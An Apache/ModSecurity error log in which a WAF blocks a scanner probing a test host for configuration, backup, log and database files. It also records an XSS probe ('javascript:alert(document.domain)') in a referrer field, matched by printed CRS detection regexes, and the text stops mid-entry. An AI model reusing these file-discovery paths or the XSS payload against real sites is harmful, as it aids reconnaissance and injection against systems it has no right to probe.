[Sun Mar 01 20:26:28.217133 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/skrill/env.ini&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIsAAAAAg&quot;]
[Sun Mar 01 20:26:28.217293 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/skrill/env.ini&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIsAAAAAg&quot;]
[Sun Mar 01 20:26:28.239181 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/slurm.conf&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIsQAAAAg&quot;]
[Sun Mar 01 20:26:28.239658 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/slurm.conf&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIsQAAAAg&quot;]
[Sun Mar 01 20:26:28.239835 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/slurm.conf&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIsQAAAAg&quot;]
[Sun Mar 01 20:26:28.307426 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/smartpay/orchestrator.conf&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HItAAAAAg&quot;]
[Sun Mar 01 20:26:28.307986 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/smartpay/orchestrator.conf&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HItAAAAAg&quot;]
[Sun Mar 01 20:26:28.308203 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/smartpay/orchestrator.conf&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HItAAAAAg&quot;]
[Sun Mar 01 20:26:28.538512 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/snare/snare.conf&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIvgAAAAg&quot;]
[Sun Mar 01 20:26:28.539059 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/snare/snare.conf&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIvgAAAAg&quot;]
[Sun Mar 01 20:26:28.539247 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/snare/snare.conf&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIvgAAAAg&quot;]
[Sun Mar 01 20:26:28.699577 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sophos/endpoint.cfg&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIxQAAAAg&quot;]
[Sun Mar 01 20:26:28.700047 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sophos/endpoint.cfg&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIxQAAAAg&quot;]
[Sun Mar 01 20:26:28.700207 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sophos/endpoint.cfg&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIxQAAAAg&quot;]
[Sun Mar 01 20:26:28.882103 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sql.bak&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIzQAAAAg&quot;]
[Sun Mar 01 20:26:28.882590 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sql.bak&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIzQAAAAg&quot;]
[Sun Mar 01 20:26:28.882753 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sql.bak&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIzQAAAAg&quot;]
[Sun Mar 01 20:26:30.415572 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/teleconsole.log&quot;] [unique_id &quot;aaSS5uWvNlascZsmhrI46gAAAAY&quot;]
[Sun Mar 01 20:26:30.416118 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/teleconsole.log&quot;] [unique_id &quot;aaSS5uWvNlascZsmhrI46gAAAAY&quot;]
[Sun Mar 01 20:26:30.416321 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/teleconsole.log&quot;] [unique_id &quot;aaSS5uWvNlascZsmhrI46gAAAAY&quot;]
[Sun Mar 01 20:26:30.962795 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aaSS5uWvNlascZsmhrI5AgAAAAY&quot;]
[Sun Mar 01 20:26:30.963295 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aaSS5uWvNlascZsmhrI5AgAAAAY&quot;]
[Sun Mar 01 20:26:30.963467 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aaSS5uWvNlascZsmhrI5AgAAAAY&quot;]
[Sun Mar 01 20:26:31.305526 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tox.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5EQAAAAY&quot;]
[Sun Mar 01 20:26:31.306113 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tox.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5EQAAAAY&quot;]
[Sun Mar 01 20:26:31.306320 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tox.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5EQAAAAY&quot;]
[Sun Mar 01 20:26:31.351703 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\W|^)(?:javascript:(?:[\\\\s\\\\S]+[=\\\\\\\\(\\\\[\\\\.&lt;]|[\\\\s\\\\S]*?(?:\\\\bname\\\\b|\\\\[ux]\\\\d))|data:(?:(?:[a-z]\\\\w+\\\\/\\\\w[\\\\w+-]+\\\\w)?[;,]|[\\\\s\\\\S]*?;[\\\\s\\\\S]*?\\\\b(?:base64|charset=)|[\\\\s\\\\S]*?,[\\\\s\\\\S]*?&lt;[\\\\s\\\\S]*?\\\\w[\\\\s\\\\S]*?&gt;))|@\\\\W*?i\\\\W*?m\\\\W*?p\\\\W*? ...&quot; at ARGS:referrer. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;247&quot;] [id &quot;941170&quot;] [msg &quot;NoScript XSS InjectionChecker: Attribute Injection&quot;] [data &quot;Matched Data: javascript:alert(document. found within ARGS:referrer: javascript:alert(document.domain)&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/track&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5EwAAAAY&quot;]
[Sun Mar 01 20:26:31.351784 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i:(?:j|&amp;#x?0*(?:74|4A|106|6A);?)(?:\\\\t|&amp;(?:#x?0*(?:9|13|10|A|D);?|tab;|newline;))*(?:a|&amp;#x?0*(?:65|41|97|61);?)(?:\\\\t|&amp;(?:#x?0*(?:9|13|10|A|D);?|tab;|newline;))*(?:v|&amp;#x?0*(?:86|56|118|76);?)(?:\\\\t|&amp;(?:#x?0*(?:9|13|10|A|D);?|tab;|newline;))*(?:a|&amp;#x? ...&quot; at ARGS:referrer. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;360&quot;] [id &quot;941210&quot;] [msg &quot;IE XSS Filters - Attack Detected.&quot;] [data &quot;Matched Data: javascript:a found within ARGS:referrer: javascript:alert(document.domain)&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag 